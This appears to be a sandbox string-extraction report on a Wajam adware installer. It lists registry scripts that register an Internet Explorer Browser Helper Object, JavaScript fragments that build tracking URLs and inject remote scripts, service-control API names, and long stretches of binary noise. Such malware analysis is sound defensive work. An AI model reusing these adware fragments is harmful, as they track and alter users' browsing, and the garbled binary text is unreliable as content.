Remove AppID{'%APPID%' = s 'Wajam''priam_bho.DLL'{val AppID = s '%APPID%'}}}PHKCR{wajam.WajamBHO.1 = s 'Wajam'{CLSID = s '{A7A6995D-6EE1-4FD1-A258-49395D5BF99C}'}wajam.WajamBHO = s 'Wajam'{CLSID = s '{A7A6995D-6EE1-4FD1-A258-49395D5BF99C}'CurVer = s 'wajam.WajamBHO.1'}NoRemove CLSID{ForceRemove {A7A6995D-6EE1-4FD1-A258-49395D5BF99C} = s 'Wajam'{ProgID = s 'wajam.WajamBHO.1'VersionIndependentProgID = s 'wajam.WajamBHO'ForceRemove 'Programmable'InprocServer32 = s '%MODULE%'{val ThreadingModel = s 'Apartment'}'TypeLib' = s '{095BFD3C-4602-4FE1-96F1-AEFAFBFD067D}'}}}HKLM{Software{Microsoft{Windows{CurrentVersion{Explorer{'Browser Helper Objects'{ForceRemove '{A7A6995D-6EE1-4FD1-A258-49395D5BF99C}' = s 'Wajam IE BHO'{val NoExplorer = d 1}}}}}}}}PA

Ansi based on Dropped File (priam_bho.dll.1505483275)

Remove folder:

Ansi based on Hybrid Analysis (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.00401000.00000020.mdmp)

Remove folder: %TEMP%\nsfE187.tmp\

Ansi based on Hybrid Analysis (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.00401000.00000020.mdmp)

remove or disable the browser add-on at anytime. Learn More http://www.wajam.com/faq.\par

Ansi based on Dropped File (nsqE177.tmp)

RemoveDirectoryA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

RemoveService

Ansi based on Dropped File (SimpleSC.dll.523064890)

RemoveServiceLogonPrivilege

Ansi based on Dropped File (SimpleSC.dll.523064890)

Rename failed: %s

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Rename on reboot: %s

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Rename: %s

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

rences.get('affiliate_id');if (priam.background.util.isValidAffiliateId(affiliate_id) === false) {affiliate_id = priam.background.preferences.readAffiliateId();if ( priam.background.util.isValidAffiliateId(affiliate_id) === true) {priam.background.preferences.set('affiliate_id',affiliate_id);}}if (priam.background.util.isValidAffiliateId(affiliate_id) === true) {final_url += '&aid='+affiliate_id;}// [<Additionnal parameters>]if (param_array !== undefined && param_array !== null) {for(var key in param_array) {if(key != '\0') {final_url += '&'+key+'='+param_array[key];}else {break;}}}// Random number so the url response doesn't come from the cachefinal_url += '&r='+priam.Util.randomFromTo(1,99999);if (priam.background.preferences.get('debug_url') === 'true') {alert(final_url);}return final_url;},getCookie: function() {var url = priam.Config.url.cookie;

Ansi based on Dropped File (priam_bho.dll.1505483275)

ReportEventW

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

Request Error

Ansi based on Dropped File (inetc.dll.1181384010)

request.onreadystatechange = function() {if (request.readyState == 4) { if (request.status == 200) {if (onload) onload(request);}else {/*Error handling, try three time for those errors before giving up

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Requested value not found.

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

RestartService

Ansi based on Dropped File (SimpleSC.dll.523064890)

ResumeThread

Ansi based on Dropped File (priam_bho.dll.1505483275)

Retry to try again, or

Ansi based on Dropped File (nsqE177.tmp)

return priam.background.browser.preferences.readNoTrace();}};priam.background.browserLoad = {openNewVersionDownloadPage: function(oldVersion) {var method_name = 'openNewVersionDownloadPage';try {// URL - Updatevar urlnewVersionFirstRun = priam.background.url.getUpdate(oldVersion);// Update tracking. Ajax call only, Don't open update urlpriam.background.util.download(urlnewVersionFirstRun, function(){});priam.background.trace.add(method_name,'update_url: '+urlnewVersionFirstRun);// Clean all prefs on addon update so old addon version aren't contained in script// and it won't ask the user to update again when he just didpriam.background.preferences.cleanAllPrefsForSupportedSites();// Remove the mapping list for safety.priam.background.preferences.cleanPriamPref('mappingListJsonString');}catch(e) {priam.background.trace.add(method_name,'Error Message: '+e.message);}},openFirstRunDownloadPage: fu

Ansi based on Dropped File (priam_bho.dll.1505483275)

return priam.background.url.build( url );},getFirstRun: function() {var url = priam.Config.url.first_run;var params = new Array();params['firstrun'] = '1';var install_timestamp = priam.background.preferences.get('install_timestamp');if (priam.background.util.isValidInstallTimestamp(install_timestamp)) {params['install_timestamp'] = install_timestamp;}return priam.background.url.build( url, params );},getUpdate: function(oldVersion) {var url = priam.Config.url.update;var params = new Array();params['firstrun'] = '1';params['update'] = oldVersion;var install_timestamp = priam.background.preferences.get('install_timestamp');if (priam.background.util.isValidInstallTimestamp(install_timestamp)) {params['install_timestamp'] = install_timestamp;}return priam.background.url.build( url, params );},getFlag: function() {var url = priam.Config.url.flag;return priam.background.ur

Ansi based on Dropped File (priam_bho.dll.1505483275)

ReturnValue

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

rEvO6GEAb@ dX5=,(NC.Rs+g2pIm)nqSs?7ELojv!.Rr*-'9in6W1\ykMrp3qxjBg

Ansi based on Dropped File (nsqE177.tmp)

REZYuG1<*t"<0r=<9w9i

Ansi based on Dropped File (nsqE177.tmp)

Rfi5`V``FmoToUOOOKKKOOOWWW888}}}:::,,,)))vvvWWW(((}}}ggg555444KKKUUU---OOOvvvooo999000hhhSSS~~~***~~~999111BBB EEE;;;+++VVVtttIPqcxi|j}j}j}j}j}j}i}j~l~j}i}i}i}i}i}i}i}i}i}i}i}i}i}i}i}i}i}kgz5Q

Ansi based on Dropped File (nsqE177.tmp)

RfiffcV`Y[m

Ansi based on Dropped File (nsqE177.tmp)

Rfiq2rT`YqMCCCPPP}}}vvvOOOPPPXXXFFF444FFF@@@888+++

Ansi based on Dropped File (nsqE177.tmp)

RfoD_@Q`Y?R[[[888DDDPPPfff333...HHHhhhxxx@@@III///PPPvvvBBB###^^^888}}}111mmm]]]DDDOOO999```'''@@@aaa333~~~***jjj___aaawwwKKK[[[XXXIP^sBVDWxzcxv}zbv{yatjvUbPgWk?Qutpcx;RB[Uj;QG^}PeXhyvuL_buuWfgvpw{TgNbfzrQiC[,f|Zk_sxzF[jz|*E}qfy5Q`xavWn.J{QhD]^sKb$A'Dq'{2N&3NYpu7QfzAZE]Yofzq'D\kF^<rcx2M\q|w,,,,,,,~)}(v[\~)+,,,,,+qTj5/,9k

Ansi based on Dropped File (nsqE177.tmp)

RgkzhWGP`Y>R}}}:::>>>XXX+++XXX333lllLLLvvvOOOeee===jjj)))mmmsss)))$$$cccttt:::(((www zzz%%%aaaGGGrrrAAA222...---GGGNNN///sss%%%RRRuuurrr)))ddddddyyy%%%!!!,,,UUUPPPRRR777 ZZZdddIP"Jb+CUifz&&,24:Lb'3H2GWm%DW

Ansi based on Dropped File (nsqE177.tmp)

RHI_e>iImimqee?whJ_h]ehJK_>iKiqss?vJ_kvvsvM??)[???-

Ansi based on Dropped File (nsqE177.tmp)

riam.Url.getScript(script_object.path,function(url) {str += priam.Trace.add(method_name,'Requesting script - id:\''+script_id+'\', url:\''+url+'\'');priam.Preferences.requestScript(path_key, script_id, url,document);});

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

RichEdit20A

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

right reserved.

Unicode based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

ript' for this sitestr += '\''+old_script_object.id+'\',\''+old_script_object.path+'\' NOT FOUND in \''+old_site_name+'\' object'+'\n';priam.background.preferences.cleanPriamPref('supported_sites.'+old_site_name+'.'+old_script_object_id);}}}else { // If 'old site' not found in 'new site', Clean 'old site' from preferencesstr += 'NOT FOUND: '+old_site_name+'\n';for (i=0; i<old_script_array_length;i++) {old_script_object = old_script_array[i];old_script_object_id = old_script_object.id;priam.Preferences.cleanPriamPref('supported_sites.'+old_site_name+'.'+old_script_object_id);}}}str += '\n';}}}catch(e) {str += priam.background.trace.add(method_name,'Error Message: '+e.message);}priam.background.ext.debug(method_name,str);}};priam.background.events = {onEventPriamUpdateMappingList: function() {var method_name = 'onEventPriamU

Ansi based on Dropped File (priam_bho.dll.1505483275)

rKlZU4W{5U^DY<muVH^>2o!*%O(;INUTk,}"9m

Ansi based on Dropped File (nsqE177.tmp)

RMDir: "%PROGRAMFILES%\Wajam\IE\res"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

RMDir: "%s"

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

RMDir: RemoveDirectory failed("%s")

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

RMDir: RemoveDirectory invalid input("%s")

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

RMDir: RemoveDirectory on Reboot("%s")

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

RMDir: RemoveDirectory("%s")

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

RMDir: RemoveDirectory("%TEMP%\nsfE187.tmp\")

Ansi based on Hybrid Analysis (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.00401000.00000020.mdmp)

RN$VRRVJRN$VRJ

Ansi based on Dropped File (nsqE177.tmp)

RnccAP`YWgSSS""")))cccIP/PhRaTj$/=8GVm36S7Sbw2dx7RUm)Fz&BKh(G5Q\r&"^vj6I`Vis@X1MRh9Kc"?2Mi|]sy5ORh}[qOfD]};U;Ww.M^t]t7RtYns7QSjwVkf|{mNecw]s+KVa=@{Vn;VRiNd5P>Wcw5L.I>Wi}6mUlA[?XXoXnrC\H`ow.K7D^wG`+Gu:T!?G`k1888877=788888+PviPl

Ansi based on Dropped File (nsqE177.tmp)

RNd{xJG;2`5k&5~ (-A&i|>BZ$BW$<

Ansi based on Dropped File (nsqE177.tmp)

roductVersion

Unicode based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

rogram Files\Internet Explorer\iexplore.exe

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.00423000.00000004.mdmp)

RpcCacheTimeout

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

RPCRT4.dll

Ansi based on Dropped File (priam_bho.dll.1505483275)

rqqqqqqqlq\qLq:q&qqqr*p<pRpwptwdwTwpoooooozoboPo8o*oooonnnnnn~nlnBw2wwwvvvvvvvwrvXvHv:v,vv

Ansi based on Dropped File (nsqE177.tmp)

RRR///,,,IQb-tBo=mV{{qd]&a-g{bzOQ|`[%ph6h6i6W]~Sh_~SW yLs}m?zP^ch7xh6|vIa-])CCC555```hhhWWWttt\\\''':::SSSsssFFFXXX---<<<|||888rrrRRRPPP666;;;@@@ttt[[[qqq444111!!!IQvH|sm>iyL[h8vKyNQ[\pyd}RzM]e3Z%\&_}S`b.on=pAR|k:DDDMMM+++lll333nnnAAA |||{{{RRR'''MMMbbb{{{;;;LLL<<<zzz

Ansi based on Dropped File (nsqE177.tmp)

RS.indexOf(ch) != -1) {encoded += ch;}else {var charCode = ch.charCodeAt(0);if (charCode > 255) {encoded += '+';}else {encoded += '%';encoded += HEX.charAt((charCode >> 4) & 0xF);encoded += HEX.charAt(charCode & 0xF);}}}}catch(e) {str += priam.Trace.add(method_name,'Error Message: '+e.message);}return encoded;},randomFromTo: function (from, to) {var method_name = 'randomFromTo';var str = '';var retVal = null;try {retVal = Math.floor(Math.random() * (to - from + 1) + from);}catch(e) {str += priam.Trace.add(method_name,'Error Message: '+e.message);}priam.ext.debug(method_name,str);return retVal; },isImplemented: function(methode_name){if (!priam.Browser[methode_name]){console.error(methode_name + " not implemented");return false;}else{return true;}},getDocument: function(){return priam.Bro

Ansi based on Dropped File (priam_bho.dll.1505483275)

rsCUTSu/RNl;`1/V+o+~w$sxu<]Vw9aV[n

Ansi based on Dropped File (nsqE177.tmp)

rsssoI~)qssssri|A{$^BXZfEQVWYXZx

Ansi based on Dropped File (nsqE177.tmp)

rssssnIqsqsssssqi~CQPPPPJ/z$J,LQPPPP~COz>|AYMfbL3F;sz>Kq~DQPPPPLiMdELqGKQPPPP}C222???,,,

Ansi based on Dropped File (nsqE177.tmp)

rsssssssgPnssssssqixxxLLLHHHdrSQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQP[|+inuuuuuuuuiLpuuuuuuuikRZV[oISSSSSJ~WPk\}CGsyH|%|(VVqws|Rn^^^{{{(((VVV...>>>!!!www:::888lll,,,###UUUiii###ttt###%%%DDD\\\VVViiiGGGDDD///tttaaa\\\~~~///%%%;;;%%%g\ek

Ansi based on Dropped File (nsqE177.tmp)

RtEpV=EpWs=]u9CEjj9]EtW@;EujSW@;Euu@;t=9]]tutBE9h@h@h Chuujs0Wuh`@A9]

Ansi based on Dropped File (nsqE177.tmp)

RtlUnwind

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

rtual function call

Unicode based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

runtime error

Unicode based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

Runtime error at 00000000

Ansi based on Dropped File (SimpleSC.dll.523064890)

Runtime Error!Program:

Unicode based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

RWD+Qfj"DjR$P%okjm;u^VCd

Ansi based on Dropped File (nsqE177.tmp)

rXu0Pl%.#E8@(B

Ansi based on Dropped File (nsqE177.tmp)

rX}(t`ld5uZ`~;;;...;;;ggg777)))VVV>>>555<<<111]]]SSS+++^^^222>>>(((hhh%%%HHH+++GGGooo@@@ppp???ddd\\\444EEE%%%rrr;;;SSS666EEE111KKKhhh888YYY;;;'''444???...HHHbbbCCC&&&>>>gggOOOddd<<<'''(((222000BBB$$$|||&&&LLLjjjaaaKQVavfjSx.IGGGGGGGGGGGGGGGGGHHFB@A@AnAGGGGGGGGGGGGGGGH?Xe18888866ub18888888,O{&P<fB_W1__XG31c}666xxxbbb&&&MMMIPd@:Jz=OorK@IiOVRQs2KcTblpOh}^#A`qE#/i.hGpM[GGHwahz$/:_ RYhysd|c`ffLameWw}t\_^eoPw.JHHHHHHHHHHHHHHHHHHECMTQF`CGHHHHHHHHHHHHHHH?Y2;<<<<<;/Se6<<<<<<;,hwwhRZic\Wwhe-dz{[t1,`{{{{///iii\\\EEEIPa=6FyYE<=X;QONq.H`}P_jmLf{\w5?RZ4,/OwwMEoN+1Th5^Q0OlMxz]iPGwNGLunPw.KHIIIIIIIIIIIIIIIIEFuZ?GIIIIIIIIIIIIIIII@ZL<@@@@@@@4tU<@@@@@@9Ylcndjpbe^^^^S+c=dg^^^`s^4efi_z#<7jDDDuuujjjIPkJBRSYJ>>)$^[Y{:Si\itxVof\kwgkp|z^u]N[mug_$P{]aV-$ra4&F}aCN`}TDTlYnPw.JHHHHHHHHHHHHHHHIGEyX>HIHHHHHHHHHHHHHHHI@Z=ACCCCCCC<7?CCCCCC@;`M_}{{VRpIPkA>Pr\VME>2-]ZWz6Ri[grwSnd[WVner4LyhQfn$T]Vf8&~d8&*Bq^EgubflYdbRd}epSw.KIIIIIIIIIIIIIIIIBV?L?EIIIIIIIIIIIIIIIIII@Zl@EFFFFFFFFFFFFFFE<IPs#4OnS:ZUJC=-(ABPf1E`HVpbOe}e^hNYfqG3C^|~eZ']Y8+=Jt[*-ConLoA6EZ{bJSUgu_\{%z$h\`l+`w/LIJJJJJJJJJJJJJJJ?f>A9]JEJJJJJJJJJJJJJJJJJJ@ZeDIJJJJJJJJJJJJHC~IPp+8PaGSLA:4$'5Sq]BwW@E7IngRCt_UWHQijelXKPr~J0]Yfg&[MGgqdZ8K](~qa_q|lMSdscnpb{#eeefhgfd`aDx/LIJJJJJJJJJJJJJJJ?eE>9cIEJJJJJJJJJJJJJJJJJJ@ZpHHLLLLLLLLLLFKIPgYIT}yolrutovil}|r~qjlv2KWc5iqumpkqtwnqhzKeeiiiiiiiiiibh}x/KIIIIIIIIIIIIIIIJDUR]EFJIIIIIIIIIIIIIIIIJ?Z]GILMNNMKGHpIP^0.Ba>szH=fjk

Ansi based on Dropped File (nsqE177.tmp)

RY8{ aoKp7.<;[:P]<5>>pZN;.Bl}HmZoy$Z_G4/@}~PqOUk) ]ar[0%B{lui#?I>

Ansi based on Dropped File (nsqE177.tmp)

s Inc1(0&

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

s the customer installation experience.

Unicode based on Dropped File (MoreInfo.dll.4230172058)

s"@H;UY0EEEEPjU@M8T@S@tEC3ZYYdh.|@Ev[]@=

Ansi based on Dropped File (nsqE177.tmp)

S(6j/O)a'W84E(omoMy>n/cL^Z18/OH-i<RQp80Jlj_'mTBP+k>/PKplugins/PK_83priam_icon_128x128.png3PNG

Ansi based on Dropped File (nsqE177.tmp)

S+[[@SV=@t"T3@sH^[@SVtt@u^[SVWlt$+C,rtGGHu_^[US3U3Uhl@d2d"jURhPEUEPLXT3ZYYdhs@E1[]UQSVW}W@tP3)D7\7*rCEE%@Eu}

Ansi based on Dropped File (nsqE177.tmp)

s.onEventJustLoggedIn();}break;case priam.Config.event_name.justLoggedOut:str += priam.Trace.add( method_name,priam.Config.event_name.justLoggedOut+': '+siteObject['listener_login']);if (siteObject['listener_login'] === true) {priam.Events.onEventJustLoggedOut();}break;case 'bmAutoSyncOn':str += priam.Trace.add( method_name,'bmAutoSyncOn: '+siteObject['listener_sync_bookmarks']);if (siteObject['listener_sync_bookmarks'] === true) {priam.Events.onEventBmAutoSyncOn();}break;case 'bmAutoSyncOff':str += priam.Trace.add( method_name,'bmAutoSyncOff: '+siteObject['listener_sync_bookmarks']);if (siteObject['listener_sync_bookmarks'] === true) {priam.Events.onEventBmAutoSyncOff();}break;case priam.Config.event_name.update_mapping_list:str += priam.Trace.add( method_name, priam.Config.event_name.update_mapping_list);priam.Events.onEventPriamUpdateMappingList(_d

Ansi based on Dropped File (priam_bho.dll.1505483275)

S5[i]=hX5[u,5[j

Ansi based on Dropped File (nsqE177.tmp)

S5[Xi^hX5[uUj@[PLhX5[SSjSjh5\4@tSW8@;]nj\5\YYtj\5\Y@Y\PhXh\ A5\@5]j@L$SQ\5]PWD@D$;]W\@=0@5[5[8[uhXh[ @8\$<tB8\$|t<D$<P$PhW5[ A[h^PP<@P*9$tkShxXS$A;YtN8YuF8h[h[uWQhP@+YW\@Y

Ansi based on Dropped File (nsqE177.tmp)

S: No service found

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

S: success - Service is running

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

S: success - Service registered

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

S: success - Service started

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

S: success - ServiceIsRunning

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

S: success - StartService

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

S:nW,G0r,pgzTvZZOy)j?i6~0wYW2>-q6YnW?V1P,~4$-5v7 ^cbnbO}W9E!oa,o*V149CNu?[FliO %zwx|H7[I[O-5Ogo~1xoyo^_|o4?URr&wC5hE<kTdxueJ

Ansi based on Dropped File (nsqE177.tmp)

S>Pa0[ucfV0>

Ansi based on Dropped File (nsqE177.tmp)

S?^[U3UhJ@d0d @u#H@a@W@M3ZYYdhJ@]-@s}@@h@@p@F@@<A@>te$fL@f@f@<@=8@+0@%@%@%@%@%@%@Pj@@St6=@u

Ansi based on Dropped File (nsqE177.tmp)

S\IYu+0$0_^S;IY3[]UMS3;vj3X;Es

Ansi based on Dropped File (nsqE177.tmp)

s\Wajam\IE\priam_bho.dll

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000001.47722.0040A000.00000004.mdmp)

SafeDllSearchMode

Unicode based on Runtime Data (IE_approveExt.exe )

SavedLegacySettings

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

ScavengeCacheFileLifeTime

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

ScavengeCacheFileLimit

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

ScavengeCacheLowerBound

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

SCODEF:2612 CREDAT:275457 /prefetch:2

Ansi based on Process Commandline (iexplore.exe)

ScreenToClient

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SearchList

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

SearchPathA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Section: "%s"

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Section: "Install Wajam on Chrome"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Section: "Install Wajam on Firefox"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Section: "Install Wajam on Internet Explorer"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

SecureProtocols

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Security_HKLM_only

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

SecuritySafe

Unicode based on Runtime Data (iexplore.exe )

SELECT * FROM

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

SelectObject

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SendDlgItemMessageA

Ansi based on Dropped File (inetc.dll.1181384010)

SendExtraCRLF

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

SendMessageA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SendMessageTimeoutA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SendRequest Error

Ansi based on Dropped File (inetc.dll.1181384010)

SendTimeOut

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

SeparateProcess

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

September

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

SEPWhVl@t#E;v%8t!VcL;t,PuGE9]hWWh@j0MQVhSPSd@jPVVDj1EVPQhh@uMKVpBV@tVGhxCVFPAPGVCI@}|1VxK3;tMQP`@E

Ansi based on Dropped File (nsqE177.tmp)

ser.Util.getDocument();},priamAjaxCall: function(event) {var str = '';var method_name = 'priamAjaxCall';var target = event;try {priam.Config.getHost(false, function(_host){var url = _host + target.innerHTML.replace(/&/gi,'&');str += 'url: ' + url + '\n';str += '\nSENDREQUEST\ntype:\'priam_search_engine_ajax_call\'\nurl:\'' + url + '\'' + '\n';priam.Util.searchEngineAjaxCall(url, function(response){var str = '';try {if (!response.error) {// Set the contentvar data = response.data;if (data==undefined) {data = '';}str += 'RESPONSE.DATA: '+data;target.innerHTML = data;// Shoot the eventvar evt = document.createEvent('HTMLEvents');evt.initEvent( priam.Config.event_name.ajax_call_completed, false, false ); // event type,bubbling,cancelabletarget.dispatchEvent(evt);}}catch(e) {str += priam.Tra

Ansi based on Dropped File (priam_bho.dll.1505483275)

Serial_Access_Num

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

sers\HAPUBWS\AppData\Local\Temp\nsfE187.tmp\inetc.dll

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

servedWWï¿½

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Server Error

Ansi based on Dropped File (inetc.dll.1181384010)

server_current_mapping_version

Unicode based on Runtime Data (iexplore.exe )

ServerInfoTimeout

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Service stopped

Unicode based on Hybrid Analysis (WajamUpdater.exe , 00047804-00003708.00000000.48060.00BF0000.00000002.mdmp)

ServiceIsPaused

Ansi based on Dropped File (SimpleSC.dll.523064890)

ServiceIsRunning

Ansi based on Dropped File (SimpleSC.dll.523064890)

ServiceIsStopped

Ansi based on Dropped File (SimpleSC.dll.523064890)

SeServiceLogonRight

Ansi based on Dropped File (SimpleSC.dll.523064890)

SeShutdownPrivilege

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SessionStartTimeDefaultDeltaSecs

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

set successfully!

Ansi based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

SetBkColor

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SetBkMode

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SetClassLongA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SetClipboardData

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SetCurrentDirectoryA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SetCurrentDirectoryA^GetFileAttributesAqGetLastErrorKCreateDirectoryASetFileAttributesAVSleepGetTickCountcGetFileSize}GetModuleFileNameABGetCurrentProcessCCopyFileAExitProcessGetWindowsDirectoryAGetTempPathAGetCommandLineASetErrorModeRLoadLibraryAlstrcpynAMGetDiskFreeSpaceA

Ansi based on Dropped File (nsqE177.tmp)

SetCursor

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SetDlgItemTextA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SetEndOfFile

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

SetEnvironmentVariableA

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

SetErrorMode

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SetFileAttributes failed.

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SetFileAttributes: "%s":%08X

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SetFileAttributesA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SetFilePointer

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SetFileTime

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SetForegroundWindow

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SetHandleCount

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

SetLastError

